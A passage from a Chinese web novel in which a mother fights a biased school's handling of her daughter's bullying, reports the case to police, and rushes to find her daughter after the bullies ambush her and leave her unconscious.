黄毛也火了:“程曼,收了钱不办事,道上没有这种规矩。”
程曼瞥他:“就凭你臭不可闻的一张嘴,你以为你说什么就是什么啊。”
黄毛扬手就想打人,程曼哧溜一下躲陶枝背后。
陶枝抓住了黄毛的手:“说不过就动手,这是谁教你的道理?”
黄毛感觉像被螃蟹钳住了,手上一阵一阵的疼,想甩却怎么也甩开不,想要用力拨也拔不动。
他震惊于陶枝的大力,不过转念一想,做苦力的,整天担担抬抬,力气大点是很正常的。
他右手被抓,左手握成拳,挥向陶枝:“死八婆,你居然敢打我。”其实手上是虚晃一枪,脚上反而用力蹬出一脚,目标是陶枝的膝盖窝。
陶枝偏过头,避开他的拳头。她右手拉着黄毛,用力往下一抻,挡住了他的攻击。她的左手捏着他后颈,右脚迅速起势,一个屈膝,直接撞向他的小腹。
好似一只大摆锤,直接锤向他的肚子,黄毛当场弓成一只虾,他痛得全身都在发麻,一只脚支撑不住,陶枝又早就放了手,他没有地方借力,砰一下摔倒在地。
陶枝没有半分怜惜,对于打女人的男人,她一向都不留情面。一个男人,不能保护女人也就算了,还把怒气撒在弱者身上,这种只会窝里横的,陶枝见一个就想收拾一个。
幸好这是在路边,还种有一些树木,黄毛没有直接砸到头。不然就这坚硬的水泥地,脑袋会伤成什么样,谁也说不好。
黄毛躺在地上不动,陶枝上前警告他:“不管之前你做过什么,但是从这一刻起,程曼和你没有半毛钱关系。记住了吗?”
黄毛缓缓比了一个“ok“的手势。
陶枝扭过头对程曼说:“回去之后,希望你能给我一个解释。”
程曼低头应是。
25. 第 25 章
程曼亦步亦趋的,跟在陶枝的身后。
陶枝先去咖啡厅,把两个小的带上,一起回家。
程明澄见到程曼就喊,“小姑。”
程今也跟着叫:“咕...咕...”
程曼一手揉一个:“乖宝宝。”
直至晚上,其他人都回来了,陶枝才有空审程曼。
因为程曼一直住校,每个月只有两天假,陶枝感觉很久没见到小女儿了。
不等陶枝开口,程曼叭叭叭就把事情给说了。
“刚入学的时候,我忘记是寄宿的,没带衣服去学校,就穿了之前的校服。然后就有同学笑我是土包子,乡巴佬,农村人一身的泥土味。我知道她们是故意的,只不过我刚转学进去,而且高三了,当以学业为重,我就没有搭理她们。”
陶枝瞄了几眼程曼,她现在确实穿得很随意,松松垮垮的运动服,和好看完全不沾边,就靠她那张脸能挽回一二了。
“你不是有一柜子的衣服吗?”
程曼摆手:“妈,那都不重要,人家看我不顺眼,和我穿什么关系不大。”
陶枝失笑,先敬罗衣后敬人,这句话更古不变,自有它的道理在。如果程曼穿的是一身名牌,想必同学在欺负她之前,也会在心里掂量掂量。不过,面对着这张青春洋溢的小脸,陶枝还是把话咽回肚子里。
程曼接着往下说:“就有几个同学,组成了小团体,一起来排挤我。不就几句难听的话,又伤害不了我,说句不好听的,在那个学校里,谁认识我程曼啊?所以我依旧不理她们。”
“后来,第一次摸底考试,因为教材的不同,有些知识点我不够熟,所以分数就不怎么好,可能老师就有点小意见。那几位同学看到了,觉得我应该没人撑腰,开始有一些过分的行为。比如说拦路啊,背后中伤啊,假传老师的话,故意漏掉我的本子和试卷啊,等等等等之类的小事。当然,妈您懂的,这些我也无所谓。”
陶枝点头,程曼从小就和人打架,在之前的学校,还挺出名的,没听过谁会主动惹她。这种对她来说,也算是新奇的体验吧?
“第二次摸底考试时,我考了全班第三名。班主任第一反应是,我是不是作弊了?‘拜托,哪一个想考大学的,会通过作弊来提高成绩,我脑子又不是坏掉了。’当时我是这么回答的。老师听了,脸色很差,但那又如何?不关我的事。”
“老师的态度很明显,同学们也不是傻的,大家也都看出来了,渐渐同学就疏远我了。大多同学都专心学习,其实排斥与否,倒也做得不怎么明显。就那几位同学,变得有些嚣张了。”
“她们把我锁在宿舍,锁在厕所,锁在教室,不过都被我破解了。接着她们撕我课本,撕我作业,撕我试卷,没关系,我已经记在脑子里了。后来她们想堵我,不让我去打饭,我就去小卖部买吃的。高三了,我不想浪费精力,所以对她们一忍再忍。”
“毕竟是重点高中,她们也不敢太过分吧。不知道哪个脑袋有坑的,开始造谣我早恋,为了坐实这个谣言,她们请了今天这个男的出场。”
“这个男的是上一届的,和我一样关系户进去的。听说家里有点钱,玩得挺花的,是个名声在外的人物。当然,是不好听的名声。”
“他可能真当我是贫民窟出来的,送我几样不值钱的小玩意,以为我就会答应做他女朋友。妈您放心,我没收过,就算丢路上,我也不会去捡。我每次都很耐心的叫他滚,可惜人家听不懂人话,以为我是欲擒故纵。”
“关于他说的项链,应该是有人拿了,然后栽赃给我。所以他今天想,拉拉小手,搭搭肩膀,我猜下一步是搂腰,在大庭广众之下,把恋爱关系给做实了。”
“不愧是一箭双雕的好毒计啊。”程曼还摇头晃脑感叹道。
“她们打过你吗?”
程曼叹气:“没有,我等她们出手,也等了好久呢。”
“干嘛,你要打架斗殴啊?”
“妈~你看我有这么傻吗?现在是什么关头,人生的分水岭诶,我才不要为这种人搭上前程。俗话说,君子报仇,十年不晚,毕业了再整治她们也不迟。”
看到程曼如此清醒,陶枝很是欣慰,不过她也有担心:“万一她们真的动手怎么办?”
“那就护好要害,语言刺激一下,让她们放开了打。然后顶着这一身伤,在校园里招摇过市,接着去找老师,找教导主任,找校长,找警察叔叔。这么多人,总能找到一个能为民做主的吧?”
陶枝不知该夸她,还是应该骂她?既然她自有主张,又没有真的吃亏,那就让她自己解决吧。
两个星期后,家里接到电话,说程曼在学校打架,希望家长过去处理一下。
当时家里没人,陶枝只好自己出发,招了一辆车就去往市三中。
和门卫处表明身份,陶枝被引到三楼的办公室。
她环顾了四周,发现办公室里,只有一位女老师。老师坐着,程曼站着,没有别的人了。
陶枝喊了一声:“曼曼。”抬脚就走了进去。
女老师抬头瞥了一眼:“你就是程曼的家长?”
陶枝这次出门,特地没换衣服,还把首饰给摘了。她穿了半天的棉麻套装,现在已经皱成一褶一褶的,像那干涸的土地,布满了深刻的纹路。
女老师好像看到了一团咸菜干,她低头撇了撇嘴,土老帽。
程曼叫了一声:“妈,这我班主任,许成玉老师。”
陶枝秒懂,她脸上带着笑,“许老师好,请问发生了什么事?”
许成玉语气淡淡的:“程曼动手打同学,还不肯道歉,对方家长不罢休,没办法,我们只好请家长了。”
“请问是谁先动的手?”
许成玉用鼻子哼气:“这还用说吗?当然是程曼了。”
“那其他的同学呢?”
“去医院检查了。”
陶枝把程曼拉过来,把她按坐在椅子上,抚上她青肿的眼角,和出血的唇瓣。还有手臂上的抓伤,带着一丝丝的血迹。
“为什么程曼没有去医院?”
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许成玉不耐烦:“打人的还想去医院?事情没解决前,哪儿都不许去。”
陶枝的语气开始生硬:“许老师想怎么解决?”
“赔礼道歉,还要赔偿医药费。”
“你亲眼看到程曼打人了吗?”
许老师猛地站起来,双手撑在桌子上,身体前倾逼视陶枝:“你什么意思,你是在质疑我吗?”
“我只是提出合理的疑问。”
“所有人都指责程曼,都说是她先打的人,怎么,难道别人都撒谎了?”
“所有人,是指一个班,还是指一个年级,还是说整个学校的人?”
程曼在一旁解释:“是相互作证说自己被打的那几个人。”
许成玉恼羞成怒:“你别管是多少人,现在的问题是程曼动手了,就凭这一点,她就必须给人赔礼道歉。”
陶枝问程曼:“曼曼,老师说的是真的吗?”
程曼摇头:“妈,我从来不打人的。”
许成玉很生气:“程曼,你别睁眼说瞎话,那几个同学,个个都鼻青脸肿的,你还说自己没打人?”
程曼很冷静:“我只是在正当防卫。”
许成玉转向陶枝:“你看看,在证据确凿的情况下,程曼都能矢口否认,这同学我是没法教了。”
陶枝问:“所谓的证据确凿,除了这几位同学说的,许老师还有别的证据吗?”
许成玉很硬气:“不需要,就凭我带这个班两年了,每个学生不说了如指掌,起码也有最基本的了解。她们异口同声都这么说,那这事就八九不离十了。”
“许老师,恕我不能认同你的观点。除非你能给我更多的证据,不然这个事,我们母女俩是不会认的。”
许成玉感觉被下了面子:“程曼妈,你这样护着孩子,不是在帮她,而是在害她。小小年纪就能下狠手,长大后恐怕更不得了。”
“那么我请求和年级主任一起,把当时在场的所有同学都叫来,我们当面把这件事情搞清楚,你看可以吗?”
“不可能,都已经高三了,同学们的时间都很宝贵,我是不会允许你随便打扰他们的。”
陶枝这下真被气到了,人家摆明了就是偏袒,女儿在人家班里读书,就看你能奈人家何?
陶枝懒得废话,她低头问程曼:“学校里有校医室吗?”
程曼点头。
“那你带妈妈去。”
程曼站起来,许成玉脸色铁青:“我说了,事情没解决,哪都不给去。”
陶枝逼近她,冷冷地盯着她:“如果我女儿的伤,因为没及时治疗,从而变得更重了,你能给我负全责吗?”
许成玉哑口无言。
程曼率先走出办公室,陶枝跟在身后防着某人。
校医上下查看了一番,开了支涂抹的药膏:“皮外伤,不碍事。”
其实陶枝也看出来了,不然她不会那么有耐心,和许成玉在那东拉西扯的。
她和程星说:“你在这等我,我去打个电话。”
26. 第 26 章
在去往小卖部的路上,陶枝脚步一转,决定先去办公楼一趟。
她刚刚已经问过校医,办公室具体应该怎么走。
不多时,陶枝站在教导主任的门外,她敲了敲门,直到里面说“进来”,她才推门进去。
陶枝循例先问好,然后再自我介绍,接着把许成玉的处理方式,原原本本的从头说了一遍,教导主任听得蹙起了眉头。
陶枝见好就收,她话锋一转:“主任,今天打扰您了,我有一个不情之请。”
刘主任说:“程曼妈妈,不客气,有什么事你直说。”
“不知道学校能不能,考虑给程曼换个班?”
“转班啊......”刘主任略微沉吟:“程曼妈妈,高三中途转班,会涉及到很多事,流程也比较复杂,还要考虑到其他班级,和老师的接纳情况。”
“主任您辛苦了,我特别理解您的难处。我提出这个请求,没有别的意思,只是想给孩子换一个环境,可以安心备考,迎接即将到来的高考。”
“这样,我先和许老师做一个沟通,然后我们再考虑转班的事?”
陶枝站了起来:“那就麻烦主任了,我先带程曼回去等消息?”
刘主任很愕然:“怎么还要带程曼回去?”
“别的同学都去医院了,我也想带程曼去检查一下。”陶枝点到即止。
“好的好的,那你们先去检查,我这边一有进展就通知你。”
“感谢主任,劳您费心了。不耽误您了,我们回头见?”
“回见。”
陶枝下楼,去校医室,带上程曼就去医院,没有和许老师打招呼。
有了程星这个前车之鉴,陶枝熟门熟路的,去了同一家医院,找的同一位医生。和上次相同的流程,她又给走了一遍。
报告出来,程曼确定是皮肉伤,陶枝才松了一口气。最怕就是年轻人打架,没轻没重的,万一伤到哪里也说不好。
医生给程曼上了药,青一块紫一块的,像被笨拙缝补的洋娃娃,陶枝看了心疼得不得了。因此程曼一说要吃西餐,她毫不犹豫就答应了。
虽说陶枝今天很平静,没有发飙也没有找茬,但女儿白白受了皮肉之苦,她并不想就此轻易揭过。
回到家后,她第一个电话,就是打给闻煦。基于前面的几次合作,两人已经很有默契了。
陶枝拜托他查一下,那几个欺负程曼的同学,要着重注意,对方家里是什么情况。因为她记得,许老师说是家长不肯罢休。她倒要看看,是什么样的家庭,教出如此骄横的子女。
陶女士的处事,很对闻煦的胃口,他应得十分痛快。
程曼自行回房复习去了。新课程早就上完了,现在需要做的,就是夯实基础,不停的复习,大量的刷题,争取把每一个知识点,都镌刻进自己的脑海里。
程曼感觉在家特别舒服,没有苍蝇在她耳边嗡嗡嗡,也没有闲杂人在旁边晃荡,她觉得空气是如此的美妙清新。
她沉迷在知识的海洋里,一时不知今夕是何夕。陶枝敲了几次门,叫她下楼吃饭,程曼都没有听到。
等她下楼的时候,大家都洗漱好,准备要入睡了。
陶枝打算给她热饭菜,程曼忙不迭说:“妈,让我自己来,活动活动身体,正好放松下脑子。”
陶枝拿着报告,去学校请了假。
没有调班,就还是找的许成玉。
老师问:“要休多少天?”
陶枝说:“看后续恢复情况。”
走的时候,她补了一句:“如果对方家长不依不挠,老师你可以叫他们来找我。”
陶枝那气定神闲的模样,让许成玉觉得,她是不是踢了不该踢的铁板?
陶枝没空管别人,她在家守了两天,看程曼没有任何不适,反而很自得其乐的样子,于是她问程曼,“要不要请个人给你做饭?”
程曼说:“不需要,我和李阿姨一样,让饭馆送饭就可以了。”
陶枝一向尊重孩子,闻言她就放手不管了,继续去盯房子的装修。
陶枝等了几天,也没家长找她,反倒是教导主任的电话先来了,邀她去学校面谈。
这一次,陶枝就换了身衣服,并且叫了赵子浩送她。
当车子停在校园门口,看到是陶枝从车里下来,许成玉的脸色是变了又变。
她怎么也没想到,从农村转学来的,穿得灰扑扑的,一脸穷酸相的程曼,家庭条件会如此优越。她这次真是,终日玩鹰,反被鹰啄了眼睛。
陶枝压根没看到许成玉,她打扮得体是出于礼貌,又不是为了让谁好看,她径直去了教导主任的办公室。
陶枝说不能打扰到学生,赵子浩就到外面停车去了。
陶枝还没坐下,主任就直奔主题:“程曼妈妈,众老师商议了一下,这个时间点,我们不建议程同学转班。”
“主任您好,我愿闻其详。”
“主要科目的任课老师,每个班级是不一样的。如果程同学转班了,她得重新适应老师和同学,白白浪费宝贵的时间,这是其一。第二,在现在的班级,程同学已经学了一个学期,忽然间转去别的班级,年轻人的好奇心旺盛,恐怕会影响到其他同学。在这个紧要关头,我的建议是一动不如一静,程曼妈妈你觉得呢?”
“我有一个问题,不知该不该问?”
“你请说。”
“关于我女儿被打,现在是怎么个说法?”
“许老师和那几位家长,坚持是程曼先动的手。”
“当事人的证言不可信。”
“事发时程同学在操场,其他的同学都在教室,没有人见到事情是怎么发生的。”
陶枝很诧异:“难道整个学校,那么多老师学生,一个目击的都没有?”
刘主任笑笑:“高三年级的离得近,而且上下课时间一致,他们都没留意到的话,那其他年级的同学,对于不认识的学姐们,应该更难有印象了。”
“这么说来,只是问了同班同学?”
“其他班的班主任,不希望自己的学生,因为这些事情被打扰。”
陶枝似笑非笑:“请问主任,您是不是也觉得,这是一件无关紧要的小事?”<
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“大家都各执一词,也没有其他人证,为了孩子好,我们都各退一步,岂不是皆大欢喜?”刘主任无奈道。
“对于施暴者是欢喜,但对于受害者来说,应该是噩梦的开始吧。”
“程曼妈妈,话不能乱说,哪有什么施暴者?”
“主任,我农村来的,说话比较直,您别见怪哈。说一个很浅显的道理,程曼一个人,对方几个人,谁是被打的那个,不是一目了然吗?”
教导主任有点恼怒了,“程曼妈妈,除非你能拿出证据,不然照现在的风评来说,就是程曼同学在挑衅闹事。”
“那请问学校打算什么处理?”
刘主任愣了:“什么怎么处理?”
“对于犯错的学生,学校没有什么处罚吗?”
“许老师不是说了嘛,赔礼道歉,陪医药费,然后全校通报批评。”
“主任,我确认一下,程曼不但不能转班,还得全校通报批评?请问是这样吗?”
教导主任点头:“你没理解错,通报批评,已经是最轻的处罚了。”
陶枝蹭的站起来:“主任,如果我们不认呢?”
“不认,是什么意思?”
“就是您说的,挑衅闹事,打架斗殴,程曼通通不认,她才是被殴打的那一个。”
刘主任脸色都变了:“程曼妈妈,你在是开玩笑吗?”
“我很认真的在和您探讨。”
“学校结合各方意见,只是给予批评,而不是纪律处分,这已经是网开一面了。”
“那再请问一句,是单单批评程曼一个,还是包括所有参与的同学?”
刘主任没有回答。
陶枝气笑了:“主任,我没看错人,您真是位好领导,包庇袒护玩得炉火纯青啊。”
陶枝拿起包包,最后留下一句:“在我查明真相之前,希望您莫要轻举妄动,不然我光脚不怕穿鞋的,拉几个人下马,应该还是能做到的。”
刘主任气得青筋暴起:“你这是在威胁我?”
陶枝笑着回头:“不,这只是警告,因为有万一,我说到做到。”
陶枝慢悠悠的走出校园,才不管楼上的人怎么看。
对于妈妈来说,即便不能护儿女一世,也希望能护一时是一时。如果放任霸凌者逍遥,迟早会有下一个受害者出现。陶枝不打算为民除害,但她希望作恶者能付出代价。
陶枝下定决心后,脚步轻快地上车,请赵子浩送她回家,接上程曼一起去派出所。
没办法,学校查不出来的事情,只能请人民警察出面了。
为什么她不自己去?很简单,因为她不是当事人。
到了派出所,她一进门就说要报案,马上民警同志就过来接待她们。
程曼很清晰地表述,发生了什么事情。时间,地点,人物,经过,把这些都给说清楚。程曼脸上的青肿,也是很好的说明。陶枝还掏出了验伤报告,前后两份录音,还有程曼同桌——另一位受害者的陈词。
民警同志受理之后,陶枝就去找她最大的靠山,小姑子程向楣是也。
27. 第 27 章
坐在车上,陶枝沉默半晌,然后才问程曼:“你是帮你同桌出头,才被她们给盯上的?”
程曼偷偷瞄两眼,不知该怎么回答。
“我又没骂你,有什么不敢说的?”
程曼小心翼翼回答:“算是吧。”
陶枝很好奇:“当时你是怎么想的?”
“礼尚往来嘛,黄新月,就是我同桌,她也帮过我。”
“你就不怕自己也栽进去?”
“妈,您教的,我们不惹事,但也不怕事。”
陶枝没想到,以前说过的话,会变成回旋镖扎到自己身上。
“这么说来,前些天你骗了我?”
“我只是隐藏了,小小一部分事实。”程曼比了比小手指盖。
到了小姑子家,程向楣已经在等了。她急急迎出来:“嫂子,出什么事了?”
陶枝把事情重述了一遍,程向楣气得柳眉倒竖:“简直是岂有此理,他们欺我程家没人?”
她拨了一个电话,对方一接起来,程向楣就说:“云舟,你回来一趟。”
陶枝吓一跳:“这么小的事,何必惊动三少?”
这李家三少,是妹夫李启泽的三弟,是妹夫爸妈的老来子,现年不过三十几岁。不说别的,就看李家的食品厂,他一人的股份最多,就知道这李家能发,是谁的功劳最大。
李家三兄弟,李启泽最大,程向楣刚嫁过来的时候,李家还是普通人家,一家子都挤在筒子楼里。
后来是李三少,不知从哪学了手艺,去租了两条生产线,拉上大哥李启泽,还有他两个兄弟,四个人就开始埋头苦干。
老二李锦升不喜欢做生意,老三李云舟就叫他投钱入股。听小姑子说,当时几兄弟,吃住都蹲在车间,十天半个月才回家一趟。
不到三个月,这几兄弟,就自己买产线了。再过两个月,把别人的旧厂房给收了。一年之后,政府批了地,轰隆隆建了自己的厂房,然后是办公楼,托儿所,员工宿舍。
反正慢慢的,就越做越大了。食品厂的零食,开始销往省外,有了一点点的知名度。
后来,李三少独排众议,拿了食品厂大部分的利润,独自上北京跑去央视,拍了条广告在央视投放,食品厂因此一举成名,产品在全国全线开花。
李云舟从此变成了李三少,成为了市里的风云人物。
陶枝为何知道这么多?都怪程晙,拿这位三叔当偶像,打定主意要向他看齐。程晙每次见到程向楣,都要问李云舟的二三事,陶枝想不清楚都难。
程向楣笑了,“嫂子,都是外人乱叫的,你怎么也学上了?”
“听的次数多了,印象太过深刻。”
“当时程曼入学,就是三弟去办的,他比较清楚情况。”程向楣解释一番。
“这怎么好意思?”
程向楣抱住她手:“都是一家人,不说两家话。”
陶枝很欣慰:“李家对你真不赖。”
李云舟进门,程曼站起来说:“三叔好。”他点头应了声好。
陶枝也跟着站起,李云舟赶紧说:“嫂子,你快坐下,自家人不整那套。”
他在另一个沙发坐下,看到在座的阵势,他转去问程曼:“学校里有人欺负你了?”
程曼瞳孔震惊,脸上的表情,把她卖得一干二净。
大家都被逗笑了,李云舟鼓励她说:“不要怕,有什么你直说,我们会为你做主的。”
程曼就开口了:“有四个女同学,平时在学校里,挺横行霸道的。她们一旦看谁不顺眼,辱骂和嘲笑还是小事,不开心的时候就作弄人。比如把别人推到在地,反而讽刺人家:‘哎你怎么站都站不稳?’还有扯头发把人弄哭,就会一脸不屑:‘你也太不经逗了吧?’诸如此类的事情。”
“本来我和她们没交集的,是因为我的同桌黄新月,她们经常过来坐她座位,围着黄新月,逼她拿出零食,逼她说好听的话,如果有谁不满意了,劈头盖脸就是打骂。那时候我刚转学进去,什么事情都不知道,看她们下手还算有分寸,所以我只是默默拉开桌椅,没有管她们的闲事。”
“就是到后来,我看到其中一个人,拿出圆规想扎黄新月,我就把圆规给抢走了,梁子就是这么结下的。”
“所以我也被排挤了,和我同桌黄新月一样,同学们不再和我说话。可能因为她们转移了目标,黄新月也没有再被针对了。”
“之前她们一直没动手,就是前几天的时候,学校有篮球赛所以自由活动,我嫌吵自己跑后山去看书,她们把我堵在那里了。她们四个人嘛,一个人负责放风,一个过来抓我头发,另一个捉住我的手,最后那一个,上来直接就打我脸。”
“我猝不及防的,被扇了两个耳光,气得我一脚过去,把那个人给踹翻了。旁边那两个见到了,扯头发的还想打我,我就用头去撞她鼻子,她急痛之下就把我松开了。抓手的我就伸脚去拌她,她先是撞的我眼角,然后自己再撞到墙。放风的一看,就跑去找老师了。”
“班主任一来到,指着我的鼻子就骂,后面就说要找家长,就把我妈给叫到学校了。”
李云舟很认真的听完了:“除了那两巴掌,还打你其他地方了吗?”
程曼摇头,“我没给她们机会。”
“当时有别的同学在吗?”
“后山是没看到,教室里有没有,我就不清楚了。”
“从教室可以看到后山?”
“一览无余。”
李云舟摸了摸下巴,“她们欺负你多久了?”
“一两个月了吧。”
“怎么没和家里说?”
程曼挠挠头,不好意思的说:“主要是因为,我觉得自己能应付。”
“学校怎么说?”
“坚定认为是我打的人。”
程向楣开口了:“教导主任很强势,坚持要程曼道歉,还要全校通报批评。”
李云舟点头:“好的大嫂,我知道了。”
程曼也说:“三叔,我也报警了。”
李云舟夸她:“你很勇敢,做得很棒。这件事,你希望怎么解决?”
“撤销对我的处罚,追究她们的责任,让她们向受害者
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赔罪,有罪的话就接受制裁。”
李云舟笑了:“没问题,如你所愿。”
陶枝连忙拒绝:“不不不,三弟你这么忙,不能这么劳烦你,你帮着向教育局递句话就够了。”
程向楣拦住她:“三弟这也是一句话的事。”
李云舟附和:“大嫂说的对,我也就开个口,跑腿都有别人去做。”
程曼很高兴:“那先谢谢三叔了。”
李云舟站起来:“晚上有饭局,那我先失陪了。”
陶枝也顺势告辞,程向楣没同意,拼命留人吃晚饭,她们吃饱后才回的家。
陶枝想着有李云舟,应该不需要她了,她叫闻煦先暂停调查。
李三少出手的话,理当很快就会有结果。陶枝通知女儿,这个星期都呆在家,程曼一切听她妈安排。
第二天,
程曼去书店买资料,冤家路窄,在横穿一条小巷时,迎面碰见了四人组,当场她就被人给拦下了。
被程曼踹翻的那个,名叫郭盈。长发披肩,打扮精致,一身名牌,是公认的长得漂亮。她笑起来很甜美,但看人时充满了不屑,带着居高临下的审视,是四人组中的主导者。
李慧是扯头发的那个。她梳着两条辫子,有一张很普通的脸,平时其貌不扬的。只有几个人在一起时,她才会放肆地说话。
王雨是这四人里面,长得最高大的那位,所以那天她负责钳住程曼。她一米七的个子,体重近一百四十斤,一直都是穿着运动装,留着一头短发,背后看起来就是个男生。
张倩倩是最没存在感的,一看就是没混进核心,平时就是跑腿打杂,所以那天她只负责放风。她很瘦弱,经常缩着肩膀,扎起马尾低着头,几乎不怎么出声,就躲在其他人后面。有时候那三人叫她时,莫名的还会被惊吓到,程曼怀疑她之前是被霸凌的一员。
“哟,这不是那谁吗?被通报批评的那个。”李慧笑得很大声,前俯后仰的,仿佛看到了天大的笑话。
郭盈嘴角轻轻一撇,扬起一个讥讽的弧度。
程曼心中警铃大作,她的直觉告诉她不对劲。
她慢慢往后退,趁她们还未近身,掉转头撒腿就跑。
“你跑不掉的。“王雨低沉的声音,如恶魔的呢喃一般,在程曼的耳边炸响。
程曼信她就有鬼了,她只要跑出这条巷子,去到人多的地方,晾她们胆子再大,也不敢在大庭广众之下肆意妄为。
程曼只顾着跑,没有注意到路况,感觉跑了挺久的,还没看见大马路的影子。她开始后悔了,为了抄近路,选了这么个鬼地方,人懒果然要付出代价的。
旁边院子里晾的花衬衫,程曼没记错的话,她几分钟前才刚刚见到过。她这才后知后觉的,发现一个致命的问题,她在这个陌生的村子里,迷路了。
后面王雨在紧追不放,程曼想不通,一个这么胖的女生,运动怎么会这么好?
程曼跑不动了,她撑着膝盖,大口大口的喘着粗气。
她余光瞄到院子的门,好巧不巧,上面开了一条门缝,程曼闪身躲了进去。
28. 第 28 章
自从程曼出门之后,陶枝的眼皮就开始跳,胸口也一直闷闷的,有点喘不上气的样子。
她想可能是太累了,就打算出门去逛逛,看看风景再吃点好的,也许身体会好受一些。
她走到百货大楼时,突然心跳像漏了一拍,她莫名感到一阵心慌。她停下脚步,站在原地,等待着眩晕感过去。忽然之间灵光一闪,程曼不会出事了吧?
陶枝在拼命回想,她这两天说了什么做过什么?哦对她威胁了教导主任,虽然她说的是大实话,但李三少开始动作的话,会不会有人狗急跳墙,把怒气发泄到程曼身上?
一想到这,陶枝就坐立不安。她马上拦了辆车,拍下一百块钱,叫司机用最快的速度送她去书店。
车子似支箭一般窜了出去。
话说程曼,她钻进人家院子之后,蹲在了墙根的阴影里,贴着耳朵听外面的声响。
奇怪,怎么没有一点声音?程曼皱起了眉头。
她回头望了两眼,大门紧闭,不像有人在家的样子。
程曼放心站了起来,院墙比较高,她踮起脚也看不到外面。
头顶传来一句重重的“哼”。
她仰着头,望见墙头的半个脑袋。
被发现了,程曼当机立断走出院子。处在四通八达的马路上,总比狭小密闭的院子好。
李慧双手抱臂,斜着眼看她:“跑啊,怎么不跑了?”
四个人团团围着她,程曼把沉默进行到底。
李慧走上前来,拍拍她的脸蛋:“告诉你一个不幸的消息,这是我的地盘,我在这住了整整十八年。你想逃?没机会了。”
这是一个机会,程曼立即出手,左手一攀上她肩头,手臂一长,就锁住她整个人。右手快速手刀,用力击打她颈侧,李慧一下子就晕过去了。
很好,解决了一个。程曼抬眸,王雨站在最前方,郭盈则退到了最后。
俗话说,一力降十会,程曼在心里叫苦,对上王雨她没把握。
左侧没人,程曼瞅准机会,立马往左边跑。王雨一个箭步追上,用手抓住她的肩膀,用力之大,程曼感觉骨头快要断了,她生生止住了脚步。
程曼没有回头,使劲掰开肩上的手,一口就咬了下去,疼得王雨“啊啊”直叫。
王雨忍无可忍,手握成拳,一拳打向程曼的头。程曼晃了一下,但仍然没松口。王雨手肘屈起,直接肘击她的后颈。程曼一声闷哼,差点趴下,她生怕自己交代在这里,立马松口把距离拉开。
她摸摸唇上的血,晃了晃晕乎的脑袋。对方也是个狠人,她必须想办法保护自己。
电光火石之间,王雨一个飞扑,直接抱住她的腿。程曼一惊,下意识想要飞踢,可惜王雨的力气比她大。
程曼迅速弯下腰,抱着王雨的头,把全身的重量往她身上压。可惜她太轻了,对王雨不起作用。
程曼再用手掐,头脸和四肢,只要她够得着,就不停的上手掐。
王雨很不舒服,她一个翻身,把程曼压在下面。
程曼的脚松脱了,她屈起膝盖,用脚去踢王雨的肚子,一个大力之后,把王雨给踹下来了。
两个人同时爬起来,程曼先站稳了,她一个加速冲撞,又把王雨给撞翻在地,气得她破口大骂:“蠢货,还愣着干嘛,过来帮忙啊。”
程曼抓着她头发,正准备以硬碰硬。就在这时,后脑勺传来一阵剧痛,再加上王雨一个扫腿,程曼咚一下扑倒在地。一声闷响过后,她感到脑后有热流在慢慢涌出。
程曼艰难抬起头,原来是郭盈手持着木棍,举得很高很高,遮住了蓝天和阳光,在程曼身前,投下了一大片阴影。
这是程曼失去意识前,看到的最后一幕画面。
**
陶枝在书店里,上下两层都跑遍了,没看到程曼的身影。
她跑到门口去,问那些收银的:“美女,你们有没见过一个瘦瘦的,大约一米六三,皮肤很白,眼睛大大,穿着黑色运动套装的小姑娘?”
大家互相看了看,都不约而同的摇了摇头。
陶枝心下一沉,难道程曼没来书店?
她道谢之后,沿着来路往回走,专门找那些小路小巷。
在路经一家门店前,听到后门传来一声:“你们在干什么?”
陶枝连忙跑过去看,原来是送货的把食材扔在了地上,她失望地走了。
太阳越升越高,天气也越来越热,陶枝像个无头苍蝇似的,在书店附近晃荡了好几圈。
路过商店的时候,陶枝进去买了瓶水。她看到桌上有电话,就问老板能不能借用一下?
老板说:“给钱就可以。”
陶枝按下号码键,等了半天,家里也没人来接,那看来程曼没有回家。
她本来还想打给程晙,但半天没记起电话是多少,只好作罢。
她喝了一口水,正准备离开,门口进来几个年轻人。
一个叼着烟的在说话:“哎你们听说没,赖子家门前,躺了一个女的,听说流了一滩血,也不知死了没?”
另一位没抽烟的问:“你看见了?”
“我远远看了一眼,没敢过去,你说是不是赖子......”
这话引起了那些人的好奇心:“走走走,去看看不就知道了?”
陶枝心里咯噔一下,她坠在那帮人的身后,跟着他们去看现场。
远远的,她见到那套衣服,再结合那些人说的,一下子软倒在地。幸得后面有人,一把扶住了她:“阿姨,阿姨,你没事吧?”
陶枝缓了了两分钟,眼前一切恢复了正常,“没事,刚没站稳,谢谢你啊。”
她大步流星赶过去,一眼就瞧见程曼躺地上,后脑勺底下的血都渗到土里去了。
陶枝咬着舌尖,稳住了心神。她摸了摸程曼,再一把抱起她,然后问围观的人:“一百块,有没有人送我们去医院?”
在金钱的攻势下,也没人问陶枝是谁,为什么要动地上的人。一听到有钱拿,好几个人冲了出来:“我,我,我。”
“有板车吗?”
“借过,借过。”一位大姐已经把三轮车开过来了。
陶枝不挑,抱着程曼就上了车,她再叫两位年轻人一起,去了医院后能帮忙作证。
看着程曼进了急救室,陶枝转头去了派出所。致人倒地昏迷不醒,是非常恶劣的伤
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人行径,民警同志立马出警了。
陶枝在医院时,已经付了酬劳。现在她就拜托这三位,带民警同志去现场勘查,她得赶回医院去陪着女儿。
陶枝在医院,用公用电话打给老头子,也拜托他和小姑子说一声。
不知过了多久,陶枝坐在急救室门口,听到了哒哒哒的脚步声。
程向楣一脸焦急,上来就握住她手:“嫂子,曼曼怎么样了?”
“还在做检查。”
“人醒了没?”
陶枝摇头。
程向楣说:“我已经和老二说了,他会盯着这件事的。”
李家老二,李锦升,政府部门的红人,具体是什么职位,陶枝没问过。
“阿楣,又麻烦你了。”
程向楣用力回握她:“现在不谈这些。”
两个人安静地坐在外面,看着秒针滴答滴答在走动。
急救室的门开了,医生走出来喊:“程曼的家属在哪里?”
陶枝和程向楣都迎了上去。
医生说:“病人醒过来了,这是一个好现象。”
陶枝问:“那她现在没事了吗?”
“一切都要等检查报告。她脑部受了重创,现在非常脆弱,需要家属好好呵护。”
护士推出医用平车,医生和陶枝她们说:“你跟着护士走,她会告诉你们的,把病人安置好之后,你们就去办理住院手续。”
陶枝频频点头:“好的,好的,谢谢医生。”
车子哐当哐当,推起来很大声。陶枝紧紧走在病床旁边,举着程曼的输液瓶子,望着她那苍白的小脸,眼泪差点要掉下来。
